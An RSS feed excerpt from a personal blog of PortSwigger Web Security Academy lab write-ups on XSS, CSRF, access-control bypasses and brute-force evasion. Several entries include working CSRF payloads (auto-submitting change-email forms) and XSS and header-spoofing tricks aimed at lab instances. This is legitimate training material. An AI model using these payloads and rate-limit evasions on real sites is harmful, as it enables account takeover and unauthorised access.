However, we haven&amp;rsquo;t tested for &lt;strong>custom tags&lt;/strong> yet. Whenever we invent a tag, such as &lt;code>&amp;lt;test&amp;gt;&lt;/code>, the browser treats it as an &lt;code>HTMLUnknownElement&lt;/code>. In the DOM, &lt;code>HTMLUnknownElement&lt;/code> is a direct child of &lt;code>HTMLElement&lt;/code> interface, meaning it inherits &lt;strong>every Global Attribute&lt;/strong> that standard HTML elements (like &lt;code>&amp;lt;div&amp;gt;&lt;/code> or &lt;code>&amp;lt;span&amp;gt;&lt;/code>) have.&lt;/p></description></item><item><title>Reflected XSS into HTML context with most tags and attributes blocked | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/xss/xss_practitioner5/</link><pubDate>Thu, 25 Jun 2026 14:59:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/xss/xss_practitioner5/</guid><description>&lt;p>If we try a standard XSS payloads using &lt;code>img&lt;/code> or &lt;code>script&lt;/code>, the built in WAF will block the request. We can try other tags manually, or we can use Burp Intruder to first do a sweep of which tags are accepted, and which aren&amp;rsquo;t. You can find a list of common XSS payloads on PortSwigger&amp;rsquo;s XSS Cheat Sheet
&lt;img src="https://panman4040.github.io/images/c71ce16b-f3bc-46b5-8ae4-00b2f9511b7d.jpg" alt="">
Notice the only the &lt;code>body&lt;/code> tag returns a 200. We shall use this information and narrow our attribute range for the tag.
&lt;img src="https://panman4040.github.io/images/fd571378-8707-4aef-be61-878579a44ada.jpg" alt="">
There are a few attributes accepted, notably being &lt;code>onresize&lt;/code>. Without needing user interaction, this is a holy grail among attributes used for XSS payloads. With that said, we can craft a payload as follow:&lt;/p></description></item><item><title>Stored DOM XSS | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/xss/xss_practitioner4/</link><pubDate>Thu, 25 Jun 2026 14:30:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/xss/xss_practitioner4/</guid><description>&lt;p>Really took a long time with this one due to not knowing enuf JS syntax&lt;/p>
&lt;p>Upon closer inspection of the source, the comment body seems to be added into an &lt;code>innerHTML&lt;/code> sink for display, which is a huge red flag opening up to Stored XSS payloads.
&lt;img src="https://panman4040.github.io/images/a83c7806-d24b-405e-9716-0acb106d9cd6.jpg" alt="">
There is a peculiar custom function &lt;code>escapeHTML()&lt;/code> which does as it says on the tin. It filters out &lt;code>&amp;lt;&lt;/code> and &lt;code>&amp;gt;&lt;/code>, effectively blocking most XSS payloads, at least in theory.
&lt;img src="https://panman4040.github.io/images/f5d66836-c862-4e7b-b27c-1bbd9f609be1.jpg" alt="">
This only encodes the first occurences of those two brackets, which mean our payload can simply be:&lt;/p></description></item><item><title>Reflected DOM XSS | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/xss/xss_practitioner3/</link><pubDate>Thu, 25 Jun 2026 09:31:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/xss/xss_practitioner3/</guid><description>&lt;p>As per the usual, when we try inserting our canary into the search functionality, the result falls into the &lt;code>eval&lt;/code> sink which is &lt;em>very dangerous&lt;/em>.
&lt;img src="https://panman4040.github.io/images/45abd775-613f-4bd9-b035-cde16bc4a436.jpg" alt="">&lt;/p>
&lt;p>Upon closer inspection of the stack trace, we find out the function that manages sending our search requests. The developer here did not use &lt;code>JSON.parse()&lt;/code> safely but dump the raw response text from the server directly into &lt;code>eval&lt;/code>. This opens up opportunities for XSS.
&lt;img src="https://panman4040.github.io/images/fad6b6e5-025b-4451-924a-7fe7109bb46e.jpg" alt="">&lt;/p>
&lt;p>To exploit this, we should think of a way to escape this JSON string. One might try to append &lt;code>&amp;quot;}&lt;/code>, but &lt;code>&amp;quot;&lt;/code> is safely encoded as &lt;code>\&amp;quot;&lt;/code> so it won&amp;rsquo;t work. However, we can add another backslash, &lt;code>\\&amp;quot;&lt;/code>, the two backslashes in a row will confuse the parser and interpret this as an attempt to print a literal backslash, completely ignoring &lt;code>&amp;quot;&lt;/code>!&lt;/p></description></item><item><title>DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/xss/xss_practitioner2/</link><pubDate>Wed, 24 Jun 2026 15:40:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/xss/xss_practitioner2/</guid><description>&lt;p>&lt;img src="https://panman4040.github.io/images/41abdac2-8803-4c04-8c78-6a1d785450cf.jpg" alt="">
First, we try to punch the search functionality by inputting our canary string into the search bar. Notice that our string will be written inside the HTML source, which opens up room for XSS payloads.&lt;/p>
&lt;p>There is also an &lt;code>ng-app&lt;/code> attribute inside the &lt;code>body&lt;/code> tag, which means when the webpage loads AngularJS will be in control of whatever inside that tag. When a directive is added to the HTML code, we can execute JavaScript expressions within double curly braces. This technique is useful when angle brackets are being encoded.&lt;/p></description></item><item><title>DOM XSS in jQuery selector sink using a hashchange event | &lt;span style="color:#2ecc71">Apprentice&lt;/span></title><link>https://panman4040.github.io/training/portswigger/xss/xss_apprentice4/</link><pubDate>Wed, 24 Jun 2026 15:16:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/xss/xss_apprentice4/</guid><description>&lt;p>&lt;img src="https://panman4040.github.io/images/3c818507-97ea-4483-902a-4152a64b5dc2.jpg" alt="">
Once we check the source for our homepage, we see that there is a peculiar JS code snippet. It is a &lt;code>$()&lt;/code> selector sink that picks up whatever inside &lt;code>window.location.hash&lt;/code>, then try to find an &lt;code>h2&lt;/code> element under the &lt;code>blog-list&lt;/code> class containing that value.&lt;/p>
&lt;p>If value is found, then it scrolls down to that. Here in our example is an &lt;code>h2&lt;/code> tag being scrolled down to, notice &lt;code>#Wedding&lt;/code> in the URL. One notable thing is that the backend doesn&amp;rsquo;t filter elements such as &lt;code>&amp;lt;&lt;/code>, &lt;code>&amp;gt;&lt;/code>, or HTML tags such as &lt;code>script&lt;/code>, &lt;code>img&lt;/code>. We can try this by inserting those into the hash and view the response.&lt;/p></description></item><item><title>DOM XSS in jQuery anchor href attribute sink using location.search source | &lt;span style="color:#2ecc71">Apprentice&lt;/span></title><link>https://panman4040.github.io/training/portswigger/xss/xss_apprentice3/</link><pubDate>Wed, 24 Jun 2026 09:21:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/xss/xss_apprentice3/</guid><description>&lt;p>When we check out the Submit Feedback, notice that there is a &lt;code>returnPath&lt;/code> query string hanging out in the URL.
&lt;img src="https://panman4040.github.io/images/488824d4-a929-4163-8456-4581174e9e13.jpg" alt="">&lt;/p>
&lt;p>If we look closer to the source code, we find out that this &lt;code>returnPath&lt;/code> handles the redirect after clicking on the Back button, evident by its &lt;code>#backLink&lt;/code> ID.&lt;/p>
&lt;p>The JS code naively takes whatever value of &lt;code>returnPath&lt;/code> inside the &lt;code>window.location.search&lt;/code> sink and add that as an attribute of the &lt;code>a&lt;/code> tag. We can then insert this payload inside the URL:&lt;/p></description></item><item><title>DOM XSS in innerHTML sink using source location.search | &lt;span style="color:#2ecc71">Apprentice&lt;/span></title><link>https://panman4040.github.io/training/portswigger/xss/xss_apprentice2/</link><pubDate>Tue, 23 Jun 2026 15:56:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/xss/xss_apprentice2/</guid><description>&lt;p>We can manually inspect the JS source, or use the DOM invader to help locate our sinks as follow:
&lt;img src="https://panman4040.github.io/images/33b12886-db6b-49c9-a22f-67f35702273d.jpg" alt="">&lt;/p>
&lt;p>Here our sink is &lt;code>innerHTML&lt;/code>, note that the innerHTML sink &lt;strong>doesn&amp;rsquo;t accept&lt;/strong> &lt;code>script&lt;/code> elements on any modern browser, nor will &lt;code>svg onload&lt;/code> events fire. This means we will need to use alternative elements like &lt;code>img&lt;/code> or &lt;code>iframe&lt;/code>. Event handlers such as &lt;code>onload&lt;/code> and &lt;code>onerror&lt;/code> can be used in conjunction with these elements.&lt;/p></description></item><item><title>DOM XSS in document.write sink using source location.search inside a select element | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/xss/xss_practitioner1/</link><pubDate>Tue, 23 Jun 2026 14:57:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/xss/xss_practitioner1/</guid><description>&lt;p>&lt;img src="https://panman4040.github.io/images/a3aa6e42-5a76-45ee-8f10-20e2e44b8582.jpg" alt="">
Upon viewing the source, we see that this script has a &lt;code>document.write()&lt;/code> sink that writes out the select form in the HTML. It queries for the value of &lt;code>storeId&lt;/code> param and attaches it to an &lt;code>&amp;lt;option&amp;gt;&lt;/code> tag as shown.&lt;/p>
&lt;p>Upon attaching a &lt;code>storeId&lt;/code> query param into the URL, the DOM Invader captures our random string present within the HTML, and confirming that the sink in question is indeed &lt;code>document.write()&lt;/code>:
&lt;img src="https://panman4040.github.io/images/b6a5e5a0-24fc-46ea-afff-c4a4674c1a94.jpg" alt="">&lt;/p></description></item><item><title>DOM XSS in document.write sink using source location.search | &lt;span style="color:#2ecc71">Apprentice&lt;/span></title><link>https://panman4040.github.io/training/portswigger/xss/xss_apprentice1/</link><pubDate>Tue, 23 Jun 2026 14:38:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/xss/xss_apprentice1/</guid><description>&lt;p>This is quite a straightforward lab, but I want to emphasize on the use of Burp Browser&amp;rsquo;s DOM Invader.&lt;/p>
&lt;p>&lt;img src="https://panman4040.github.io/images/8f9f7604-672e-475b-b7d3-7a72f6021903.jpg" alt="">&lt;/p>
&lt;p>The &amp;ldquo;canary&amp;rdquo; here is &lt;code>pp591rlt&lt;/code>, which is an unpredictable and uncommon string that we can inject into different sources to see which sinks they flow into. Included in the string are special characters &lt;code>&amp;quot;&lt;/code>, &lt;code>&amp;lt;&lt;/code>, and &lt;code>&amp;gt;&lt;/code>. This helps test whether the browser will sanitize the quotes and brackets or not.&lt;/p></description></item><item><title>Cross-site WebSocket hijacking | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/csrf/csrf-practioner8/</link><pubDate>Mon, 15 Jun 2026 15:56:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/csrf/csrf-practioner8/</guid><description>&lt;p>First, we shall try to intercept the GET request to &lt;code>/chat&lt;/code> to see what&amp;rsquo;s underneath the hood. Notice that there are no CSRF protections in place, only a session cookie is employed:
&lt;img src="https://panman4040.github.io/images/a8d9b668-f087-4103-83bb-9a886fe472cf.jpg" alt="">
We also notice that the session cookie has &lt;code>SameSite=None&lt;/code>, that means it&amp;rsquo;s even more vulnerable to potential CSRF attacks, which we are about to do.
&lt;img src="https://panman4040.github.io/images/a132802d-0232-4dbd-8633-a03443a9d2bc.jpg" alt="">
After sending out some messages on &lt;code>/chat&lt;/code>, in our WebSocket history we notice that once the client sends a &lt;code>READY&lt;/code> message to the server, the server responds with all of the chat history. We can verify this using Repeater as follow:
&lt;img src="https://panman4040.github.io/images/d594c22d-4e21-4b77-8156-b67a253f970e.jpg" alt="">
Now we know there are three vulnerabilities present in this chat system, it&amp;rsquo;s time to craft the payload!&lt;/p></description></item><item><title>Referer-based access control | &lt;span style="color:#2ecc71">Apprentice&lt;/span></title><link>https://panman4040.github.io/training/portswigger/access_control/ac-apprentice6/</link><pubDate>Thu, 11 Jun 2026 15:50:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/access_control/ac-apprentice6/</guid><description>&lt;p>We are given the option to try out admin perms for ourselves. When we try to upgrade &lt;code>carlos&lt;/code> credentials, we can intercept the request and see what&amp;rsquo;s behind the scene:
&lt;img src="https://panman4040.github.io/images/a9a9f1d4-ae2f-4938-95ad-576445e88aba.jpg" alt="">
Unlike the previous labs, the request to elevate one&amp;rsquo;s credentials is simply a GET request. If the web app accepts &lt;code>Referer&lt;/code> arbitrarily, we can simply change the session cookie to ours and solve the lab.&lt;/p></description></item><item><title>Multi-step process with no access control on one step | &lt;span style="color:#2ecc71">Apprentice&lt;/span></title><link>https://panman4040.github.io/training/portswigger/access_control/ac-apprentice5/</link><pubDate>Thu, 11 Jun 2026 15:33:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/access_control/ac-apprentice5/</guid><description>&lt;p>We are given the option to try out admin perms for ourselves. When we try to upgrade &lt;code>carlos&lt;/code> credentials, there is a intermediary step that asks us to confirm our decision. Upon interception, we see that this is expressed as a param &lt;code>confirmed&lt;/code>:
&lt;img src="https://panman4040.github.io/images/799ae45f-6b32-40c0-96d0-be8a41147ba9.jpg" alt="">&lt;/p>
&lt;p>&lt;em>Hypothetically&lt;/em>, the web app may see that &lt;code>confirmed=true&lt;/code> is indeed included in the form parameters, and assumes that the person requesting this has valid credentials because they &lt;em>cannot have known&lt;/em> that third confirmation step.&lt;/p></description></item><item><title>Method-based access control can be circumvented | &lt;span style="color:#2ecc71">Apprentice&lt;/span></title><link>https://panman4040.github.io/training/portswigger/access_control/ac-apprentice4/</link><pubDate>Thu, 11 Jun 2026 13:59:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/access_control/ac-apprentice4/</guid><description>&lt;p>&lt;em>Took too damn long tinkering with Burp while in fact I can just paste the payload into the URL&lt;/em>&lt;/p>
&lt;p>We are given the choice to first log in the administrator account to see what&amp;rsquo;s behind the scene. While we are changing &lt;code>carlos&lt;/code> privilege, we can intercept the request:
&lt;img src="https://panman4040.github.io/images/7dac5a5c-7e49-4b38-a390-fb8eb8c54c45.jpg" alt="">
Now we know that &lt;code>/admin-roles&lt;/code> is the endpoint for changing perms, with &lt;code>username&lt;/code> and &lt;code>action&lt;/code> as its params. However when we attempt to send the POST request as &lt;code>wiener&lt;/code>, we will be hit with Method Not Allowed.&lt;/p></description></item><item><title>URL-based access control can be circumvented | &lt;span style="color:#2ecc71">Apprentice&lt;/span></title><link>https://panman4040.github.io/training/portswigger/access_control/ac-apprentice3/</link><pubDate>Thu, 11 Jun 2026 10:49:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/access_control/ac-apprentice3/</guid><description>&lt;p>If we are doing this blind, we can actually append the &lt;code>X-Original-URL&lt;/code> header (or equivalent) into the request and add a nonsensical endpoint, e.g. &lt;code>/asdfklsdjflks&lt;/code>. If the server gives us a Not Found, that means the backend code is processing &lt;code>X-Original-URL&lt;/code> blindly and we can insert our payload, per se.&lt;/p>
&lt;p>Thus we can add &lt;code>?username=carlos&lt;/code> into the query string, then change the &lt;code>X-Original-Url&lt;/code> path to &lt;code>/admin/delete&lt;/code>. The &lt;code>carlos&lt;/code> user will be deleted afterwards.&lt;/p></description></item><item><title>User role can be modified in user profile | &lt;span style="color:#2ecc71">Apprentice&lt;/span></title><link>https://panman4040.github.io/training/portswigger/access_control/ac-apprentice2/</link><pubDate>Thu, 11 Jun 2026 10:05:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/access_control/ac-apprentice2/</guid><description>&lt;p>At first, I keep digging session cookies and HTML source to see whether they contain any references of &lt;code>roleid&lt;/code> or not, and I stumped. I realised that I hadn&amp;rsquo;t even attempted to change my email to see what happens yet.&lt;/p>
&lt;p>So, upon changing our email, we can observe that the response has a JSON object that keeps tab of our username, email, and &lt;code>roleid&lt;/code>:
&lt;img src="https://panman4040.github.io/images/5ffde0b9-985d-4faa-950f-54e09d44e1e2.jpg" alt="">
Simply add &lt;code>&amp;quot;roleid&amp;quot;:2&lt;/code> into the request body and voila we will get access to the admin panel. This is a vuln called &lt;strong>Mass Assignment&lt;/strong>&lt;/p></description></item><item><title>Unprotected admin functionality with unpredictable URL | &lt;span style="color:#2ecc71">Apprentice&lt;/span></title><link>https://panman4040.github.io/training/portswigger/access_control/ac-apprentice1/</link><pubDate>Thu, 11 Jun 2026 09:38:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/access_control/ac-apprentice1/</guid><description>&lt;p>Very straightforward, the lab introduces a vuln where sensitive endpoints are exposed in plaintext, in this case some JS scripts:
&lt;img src="https://panman4040.github.io/images/1687fb5e-12ca-42cc-8de9-c45dc0722ced.jpg" alt="">
Simply access the hidden endpoint and we can solve the lab.&lt;/p></description></item><item><title>Broken brute-force protection, IP block | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/authentication/auth-password-3/</link><pubDate>Mon, 08 Jun 2026 15:31:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/authentication/auth-password-3/</guid><description>&lt;p>The key to this lab is to occasionally insert our valid credentials inbetween the enumerations, so that &lt;em>maybe&lt;/em> the rate limit imposed on our IP is reset to zero. This is never guaranteed for every web app.&lt;/p>
&lt;p>To solve this, we can either use the Turbo Intruder extension or macros. But for the sake of simplicity, we need only edit the username and password payloads so that our valid credential and our brute-forcing attempts alternate. The password wordlist can be done through a simple Python script as follow:&lt;/p></description></item><item><title>Username enumeration via response timing | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/authentication/auth-password-2/</link><pubDate>Mon, 08 Jun 2026 14:15:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/authentication/auth-password-2/</guid><description>&lt;p>First I thought this is a straightforward lab: just pump into Intruder and compare response received times. But the lab also implements some sort of IP-based brute-force protection, where if you guess too many incorrect attempts, it will lock you out.&lt;/p>
&lt;p>To solve this, we shall use the &lt;code>X-Forwarded-For&lt;/code> header, which is used to identify the source IP address connecting through a proxy or load balancer. This is good for redirecting traffic but opens up to spoofing. If we are locked out, we just need to tweak the IP address every now and then, and include our valid credentials occasionally in our payload to avoid being locked out.&lt;/p></description></item><item><title>Username enumeration via subtly different responses | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/authentication/auth-password-1/</link><pubDate>Mon, 08 Jun 2026 13:34:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/authentication/auth-password-1/</guid><description>&lt;p>Before going into the solution, I just want to say I wasted time eyeballing for the slightest odd-one-out response received time and response length (rip). Turns out there is a nifty feature in Intruder called Grep-Extract. This feature will extract any useful info of our choosings from responses into the attack table.&lt;/p>
&lt;p>Firstly, we shall use Grep-Extract to harvest pieces of data from our responses, including cookies, tokens, error messages and so on. This time we will highlight the &lt;code>Username or password invalid&lt;/code> text
&lt;img src="https://panman4040.github.io/images/617b190e-f145-4c74-a7b5-28cee70b9c77.jpg" alt="">
Notice that there is &lt;em>one less dot&lt;/em> from &lt;code>akamai&lt;/code>, turns out that&amp;rsquo;s our valid username. After that, we just proceed with password brute-forcing normally. Very nifty.&lt;/p></description></item><item><title>SameSite Strict bypass via client-side redirect | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/csrf/csrf-practioner7/</link><pubDate>Fri, 05 Jun 2026 10:22:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/csrf/csrf-practioner7/</guid><description>&lt;p>Unlike &lt;a href="https://panman4040.github.io/training/portswigger/csrf/csrf-practioner6/">this problem&lt;/a>, the cookies are set to be &lt;code>SameSite=Strict&lt;/code>:
&lt;img src="https://panman4040.github.io/images/e92e5e03-4beb-498f-850b-7a2d4c5cdae8.jpg" alt="">
However, CSRF protection is still not in place, so maybe we can figure out an exploit.&lt;/p>
&lt;p>There is a peculiar feature in the site itself, whereby once you post a comment, there will be a confirmation page that redirects you back to the post you&amp;rsquo;ve made the comment on
&lt;img src="https://panman4040.github.io/images/6d7091df-1976-446c-b09a-e974a54cb598.jpg" alt="">&lt;/p>
&lt;p>&lt;code>postId&lt;/code> is the only but required parameter, we can traverse up the path by setting &lt;code>postId = ../&lt;/code> and surely enough it redirects us back to the main page. Note that the action of posting comments and being redirected does &lt;strong>not&lt;/strong> required you to be logged in.&lt;/p></description></item><item><title>SameSite Lax bypass via method override | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/csrf/csrf-practioner6/</link><pubDate>Fri, 05 Jun 2026 09:41:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/csrf/csrf-practioner6/</guid><description>&lt;p>Upon inspecting the HTTP response header, we see that &lt;code>SameSite&lt;/code> isn&amp;rsquo;t explicitly set to anything. We can safely assume that it&amp;rsquo;s set to &lt;code>Lax&lt;/code> by default (at least in Chrome)
&lt;img src="https://panman4040.github.io/images/6b6bc548-ea79-4264-9780-20356717c3c6.jpg" alt="">&lt;/p>
&lt;p>While intercepting the request for email change as a normal user, we can see that there is no CSRF token validation which makes our payload lighter:
&lt;img src="https://panman4040.github.io/images/5f1e4a15-6e0c-4832-bd6e-4d100d9c79f3.jpg" alt="">&lt;/p>
&lt;p>Our initial payload is this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-html" data-lang="html">&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#f92672">script&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> document.&lt;span style="color:#a6e22e">location&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#39;https://&amp;lt;lab-id&amp;gt;.web-security-academy.net/my-account/change-email?email=attack%40hack.net&amp;#39;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#f92672">script&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>But once we test this on ourselves, we are hit with a 405 Method Not Allowed. Viewing the page source also confirms the form only accepts &lt;code>POST&lt;/code> request. Thus we have to override the method in our request line:&lt;/p></description></item><item><title>CSRF where token is duplicated in cookie | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/csrf/csrf-practioner5/</link><pubDate>Thu, 04 Jun 2026 15:33:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/csrf/csrf-practioner5/</guid><description>&lt;p>The barebone logic is the same as &lt;a href="https://panman4040.github.io/training/portswigger/csrf/csrf-practioner4/">this problem&lt;/a>. But rather than associating the session cookie with CSRF tokens, the application simply verifies that the token submitted in the request parameter matches the value submitted in the cookie. This is called the &lt;strong>double submit&lt;/strong> defense against CSRF.&lt;/p>
&lt;p>There are many reasons why this method is advocated, with one of the reason being server performance and scaling. The CSRF tokens generated are usually checked for correct formats and so on, thus barring an attacker from generating their own token.&lt;/p></description></item><item><title>CSRF token is tied to a non-session cookie | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/csrf/csrf-practioner4/</link><pubDate>Thu, 04 Jun 2026 14:30:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/csrf/csrf-practioner4/</guid><description>&lt;p>The key idea is that there are two separate cookies per se, one for session and the other for generating CSRF tokens. They are not tied to eachother so one can simply get a pair of tokens, then apply that to the payload. The following intercept in Burp shows clearly the pair:
&lt;img src="https://panman4040.github.io/images/54235a99-e484-4610-a7c3-3c3c58778fe8.jpg" alt="">&lt;/p>
&lt;p>I took a lot of time on this because I thought we can remotely set cookies to the main site, &lt;em>which surprisingly cannot be done&lt;/em>. Turns out we have to tell the main site to set our cookies for us, in this case we will be using the search function.
&lt;img src="https://panman4040.github.io/images/a2d50b58-888b-46ad-9012-a8769cffda9f.jpg" alt="">&lt;/p></description></item><item><title>CSRF where token is not tied to user session | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/csrf/csrf-practioner3/</link><pubDate>Thu, 04 Jun 2026 14:06:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/csrf/csrf-practioner3/</guid><description>&lt;p>We first try changing the email of our own account. By intercepting the POST request in Burp, we can get the CSRF token for that request as below:
&lt;img src="https://panman4040.github.io/images/15137e91-c5f3-402a-a281-430e6b078724.jpg" alt="">&lt;/p>
&lt;p>Suppose we are blind about the vulnerability, we &lt;em>try&lt;/em> to apply that same token in our payload to see whether the web server draws from a common token pool or not. &lt;em>Surprisingly&lt;/em>, our payload works and is something like below:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-html" data-lang="html">&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#f92672">html&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#f92672">body&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#f92672">form&lt;/span> &lt;span style="color:#a6e22e">action&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;https://&amp;lt;lab-id&amp;gt;.web-security-academy.net/my-account/change-email&amp;#34;&lt;/span> &lt;span style="color:#a6e22e">method&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;POST&amp;#34;&lt;/span> &lt;span style="color:#a6e22e">id&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;attack&amp;#34;&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#f92672">input&lt;/span> &lt;span style="color:#a6e22e">type&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;hidden&amp;#34;&lt;/span> &lt;span style="color:#a6e22e">name&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;email&amp;#34;&lt;/span> &lt;span style="color:#a6e22e">value&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;super-ultimate-hacker@leet-hacker.net&amp;#34;&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#f92672">input&lt;/span> &lt;span style="color:#a6e22e">type&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;hidden&amp;#34;&lt;/span> &lt;span style="color:#a6e22e">name&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;csrf&amp;#34;&lt;/span> &lt;span style="color:#a6e22e">value&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&amp;lt;csrf-token&amp;gt;&amp;#34;&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#f92672">form&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#f92672">script&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>document.&lt;span style="color:#a6e22e">getElementById&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;attack&amp;#34;&lt;/span>).&lt;span style="color:#a6e22e">submit&lt;/span>();
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#f92672">script&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#f92672">body&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#f92672">html&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>CSRF where token validation depends on token being present | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/csrf/csrf-practioner2/</link><pubDate>Thu, 04 Jun 2026 14:01:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/csrf/csrf-practioner2/</guid><description>&lt;p>Just as the name of the lab implies, the validation depends on whether the csrf token is included in the request or not.&lt;/p>
&lt;p>To bypass this, we can just &lt;em>not send&lt;/em> the token. Our old payload from the last two labs can be applied straight away:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-html" data-lang="html">&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#f92672">html&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#f92672">body&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#f92672">form&lt;/span> &lt;span style="color:#a6e22e">action&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;https://&amp;lt;lab-id&amp;gt;.web-security-academy.net/my-account/change-email&amp;#34;&lt;/span> &lt;span style="color:#a6e22e">method&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;POST&amp;#34;&lt;/span> &lt;span style="color:#a6e22e">id&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;attack&amp;#34;&lt;/span>&amp;gt;
